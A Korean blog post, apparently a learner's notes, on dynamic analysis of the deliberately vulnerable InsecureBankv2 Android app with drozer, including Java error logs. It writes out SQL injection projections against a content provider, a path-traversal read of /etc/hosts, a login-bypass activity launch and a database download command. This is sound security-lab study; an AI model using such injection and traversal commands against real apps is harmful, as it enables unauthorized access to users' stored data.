보안/android

[앱][리버싱] 악성앱 분석 - InsecureBankv2 (1)

y00&z1 2021. 10. 28. 18:21

(각 취약점에 대해 잘 모르겠으니 일단 냅다 해보자)

먼저, drozer를 이용한 동적분석!!

drozer 콘솔 환경 준비 하기
drozer agent 에뮬레이터에 설치 후에 server on -> port forwarding -> drozer console connect

자세한 과정은 문서 참고 :
https://labs.f-secure.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf


[정보수집]

@패키지명 추출하기
dz> run app.package.list -f InsecureBankv2
com.android.insecurebankv2

@패키지명으로 패키지 정보 추출
dz> run app.package.info -a com.android.insecurebankv2

defines permissions (따로 새로 정의한 permission은 없는 것을 확인 할 수 있다)




[오류]

패키지 대상으로 작업하는 명령어는 비슷한 오류 발생

(환경 변수 C:\Program Files\Java\jdk-16.0.2일 때 )

 

dz> run app.package.manifest com.android.insecurebankv2
C:\Program Files\Java\jdk-16.0.2\bin\javac.exe -cp C:\Python27\lib\site-packages\drozer\lib\android.jar XmlAssetReader.java
C:\Python27\lib\site-packages\drozer\lib\dx.bat --dex --output 0369248b3055a46d8e4fcce7de747bd3.apk XmlAssetReader.class
-Djava.ext.dirs=C:\Python27\Lib\site-packages\drozer\lib is not supported. Use -classpath instead.
Error: Could not create the Java Virtual Machine.
Error: A fatal exception has occurred. Program will exit.
drozer could not find or compile a required extension library.\


환경변수 C:\Program Files\Java\jre7로 바꿨을 때

dz> run app.package.manifest com.android.insecurebankv2
C:\Program Files\Common Files\Oracle\Java\javapath\javac.exe -cp C:\Python27\lib\site-packages\drozer\lib\android.jar XmlAssetReader.java
C:\Python27\lib\site-packages\drozer\lib\dx.bat --dex --output 0369248b3055a46d8e4fcce7de747bd3.apk XmlAssetReader.class

UNEXPECTED TOP-LEVEL EXCEPTION:
com.android.dx.cf.iface.ParseException: bad class file magic (cafebabe) or version (003c.0000)
        at com.android.dx.cf.direct.DirectClassFile.parse0(DirectClassFile.java:472)
        at com.android.dx.cf.direct.DirectClassFile.parse(DirectClassFile.java:406)
        at com.android.dx.cf.direct.DirectClassFile.parseToInterfacesIfNecessary(DirectClassFile.java:388)
        at com.android.dx.cf.direct.DirectClassFile.getMagic(DirectClassFile.java:251)
        at com.android.dx.command.dexer.Main.processClass(Main.java:665)
        at com.android.dx.command.dexer.Main.processFileBytes(Main.java:634)
        at com.android.dx.command.dexer.Main.access$600(Main.java:78)
        at com.android.dx.command.dexer.Main$1.processFileBytes(Main.java:572)
        at com.android.dx.cf.direct.ClassPathOpener.processOne(ClassPathOpener.java:170)
        at com.android.dx.cf.direct.ClassPathOpener.process(ClassPathOpener.java:144)
        at com.android.dx.command.dexer.Main.processOne(Main.java:596)
        at com.android.dx.command.dexer.Main.processAllFiles(Main.java:498)
        at com.android.dx.command.dexer.Main.runMonoDex(Main.java:264)
        at com.android.dx.command.dexer.Main.run(Main.java:230)
        at com.android.dx.command.dexer.Main.main(Main.java:199)
        at com.android.dx.command.Main.main(Main.java:103)
...while parsing XmlAssetReader.class




@공격범위찾기
dz> run app.package.attacksurface com.android.insecurebankv2

다른 앱에서 접근 가능한!
acvtivity - 5개
broadcast receivers - 1개
content providers - 1개

is debuggable : adb로 디버깅 가능



https://developer.android.com/guide/components/fundamentals?hl=ko#Components

 

애플리케이션 기본 항목  |  Android 개발자  |  Android Developers

애플리케이션 기본 항목 Android 앱은 Kotlin, Java, C++ 언어를 사용하여 작성할 수 있습니다. Android SDK 도구는 모든 데이터 및 리소스 파일과 함께 코드를 컴파일하여 하나의 APK를 만듭니다. Android 패

developer.android.com

앱 구성 요소

  • 액티비티
  • 서비스
  • Broadcast Receiver
  • 콘텐츠 제공자

액티비티는 사용자와 상호작용하기 위한 진입점. 사용자 인터페이스를 포함한 화면 하나를 나타냄.

서비스는 여러 가지 이유로 백그라운드에서 앱을 계속 실행하기 위한 다목적 진입점. 이는 백그라운드에서 실행되는 구성
요소로, 오랫동안 실행되는 작업을 수행하거나 원격 프로세스를 위한 작업을 수행함

Broadcast Receiver는 (정기적인 사용자 플로우 밖에서) 시스템이(os) 이벤트를 앱에 전달하도록 지원하는 구성 요소. 앱이 시스
템 전체의 브로드캐스트 알림에 응답할 수 있게 함. Broadcast Receiver도 앱으로 들어갈 수 있는 또 다른 명확한 진입점 -> 현재
실행되지 않은 앱에도 시스템이 브로드캐스트를 전달 가능
-> 사용자 디바이스의 네트워크 연결 해제나 위치 정보 사용 해제와 같은 특수한 이벤트에 대한 처리나 문자나 수신과 같은 정보
를 받아 처리를 해야 할 필요성이 있을 때 구현!!

콘텐츠 제공자는 파일 시스템, SQLite 데이터베이스, 웹상이나 앱이 액세스할 수 있는 다른 모든 영구 저장 위치에 저장 가능한 앱 데이터의 공유형 집합을 관리




@activity 정보 추출
run app.activity.info -a com.android.insecurebankv2

 

[오류]run app.activity.start --component com.android.insecurebankv2 com.android.insecurebankv2.PostLogin

: 로그인 화면에서 바로 다른 화면으로 넘어갈 수 있는 명령어. (그치만 위에 오류때문인지 실제로 넘어가지 않았다ㅠㅠ)

 

 

 


@provider 정보 추출
run app.provider.info -a com.android.insecurebankv2

Read Permission: null
Write Permission: null
-> 외부에서 읽고 쓰기 가능!

provider : 데이터를 주고받을 때 사용
-> content에 대한 uri를 가지고 있고 이를 통해 데이터 접근 가능


permission이 null이니까 uri만 알고 있으면 접근 가능

 


~오류~

 

uri 찾는 명령어 : 

[오류]run scanner.provider.finduris -a com.android.insecurebankv2

 

 

여기부터는 앞의 정보가 필요해서 수행불가... 

 

쿼리 날리는 명령어: 

run app.provider.query content://com.android.insecurebankv2 ~ (uri) 

 

 

run app.provider.query content://com.android.insecurebankv2 ~ --projection "'"

-> unrecognized token: "' FROM Passwords" (code 1 SQLITE_ERROR): , while compiling: SELECT ' FROM Passwords

Passwords db에 저장되는 것을 알 수 있음 (안드로이드는 SQLite)

 

<sqlmaster> 

run app.provider.query content://com.android.insecurebankv2 ~ -- projection "* FROM SQLITE_MASTER WHERE type='table';--" 

 

 

<테이블이름>
run app.provider.query content://com.android.insecurebankv2 ~ --projection "* FROM Key;--"

 

 

[오류]run app.provider.read content://com.android.insecurebankv2.FileBackupProvider/etc/hosts 

 

 

<db 다운로드>

run app.provider.download content://com.android.insecurebankv2.FileBackupProvider/data/data/com.android.insecurebankv2/databases/database.db /tmp/database.db

 

 

@스캐너도구

[오류]run scanner.provider.injection -a com.android.insecurebankv2

: 인젝션 가능한 부분 출력


[오류]run scanner.provider.traversal -a com.android.insecurebankv2

: 접근 가능한 부분 출력

 


 

@서비스 정보 추출
run app.service.info -a com.android.insecurebankv2